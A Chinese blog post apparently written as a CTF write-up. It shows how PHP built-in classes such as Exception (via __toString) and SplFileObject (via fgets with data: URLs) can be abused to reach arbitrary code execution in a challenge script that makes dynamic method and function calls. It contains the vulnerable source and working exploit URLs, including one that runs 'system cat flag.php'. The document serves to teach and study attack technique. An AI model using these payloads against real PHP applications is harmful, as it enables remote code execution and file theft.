c1ay's blog

php反序列化原生类

字数统计: 684阅读时长: 3 min
2021/10/21 Share

php反序列化原生类

记录一下在ctf当中遇到的有关php反序列化原生类的利用

预定义异常类:例如Exception类__toString

2021第二届全国电信和互联网行业职业技能竞赛-SimplePHP

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
/**
maybe you need get the contents in hint.php!
Ohhhhh you don't know how to get it?
Why don't you try readfile?
**/
error_reporting(0);
show_source(__FILE__);
Class Hello{
public $filename;
public $contents;
public function __construct(){
$this->filename = "hint.php";
$this->contents = "you guess";
}
public function fileread(){
echo "keep going";
}
}
$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];
$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);

阅读源码可以看到$str1($str2);的位置有可能存在任意代码执行,而$a、$b、$c可控存在任意方法调用,这里可以利用php的内置类Exception__toString方法来触发任意代码执行

本地测试demo代码:

1
2
3
<?php
$class=new Exception("test string");
echo $class->__toString();

输出:

1
exception 'Exception' with message 'test string' in C:\phpstudy_pro\WWW\222.php:2 Stack trace: #0 {main}

所以可以通过new Exception("xxx");实例化一个Exception类,这样$str1$str2都变为我们可控的了

任意代码执行payload,执行phpinfo

1
2
3
4
<?php
$class=new Exception("phpinfo1");
echo substr($class->__toString(),36,7);
echo substr($class->__toString(),43,1);

输出:

1
phpinfo1

所以可以构造paylaod执行phpinfo:

1
http://119.61.19.212:57504/index.php?a=Exception&b=phpinfo1&c=__toString&d=36&e=7&f=43&g=1

mark

读取flag:

1
http://119.61.19.212:57504/index.php?a=Exception&b=systemcat%20flag.php&c=__toString&d=36&e=6&f=42&g=12

mark

拓展

官方手册-预定义异常类列表:

https://www.php.net/manual/zh/reserved.exceptions.php

mark

1
2
3
4
5
6
7
8
9
10
Exception
ErrorException
Error
ArgumentCountError
ArithmeticError
AssertionError
DivisionByZeroError
CompileError
ParseError
TypeError

这些异常类的__toStringgetMessage都是可以利用的

SplFileObject类fgets

在p牛小密圈看一个师傅提出的方法

官方文档描述:

SplFileObject类为文件提供了一个面向对象接口.
简单理解就是读文件,可以理解为fopen面向对象的接口

1
2
3
4
<?php
$file=new SplFileObject('C://Windows/win.ini');
echo $file->fgets();
?>

输出:

1
; for 16-bit app support

读取了文件的第一行

SplFileObject__construct的第一个参数filename支持URL,前提是需要开启allow_url_fopen

https://www.php.net/manual/zh/splfileobject.construct.php

mark

支持的协议和封装协议

mark

引用p牛的话:data:,后的字符串会被当作文件内容读取到

1
2
3
4
5
<?php
//$file=new SplFileObject('C://Windows/win.ini');
$file=new SplFileObject('data:,hello');
echo $file->fgets();
?>

输出:

1
hello

所以可以构造

1
2
3
4
5
<?php
$file=new SplFileObject("data:,phpinfo\r\n1");
echo substr($file->fgets(),0,7);
echo substr($file->fgets(),0,1);
?>

输出:

1
phpinfo1

payload:

1
http://127.0.0.1/Hello.php?a=SplFileObject&b=data:,phpinfo%0d%0a1&c=fgets&d=0&e=7&f=0&g=1

mark

CATALOG
  1. 1. php反序列化原生类
    1. 1.0.1. 预定义异常类:例如Exception类__toString
    2. 1.0.2. SplFileObject类fgets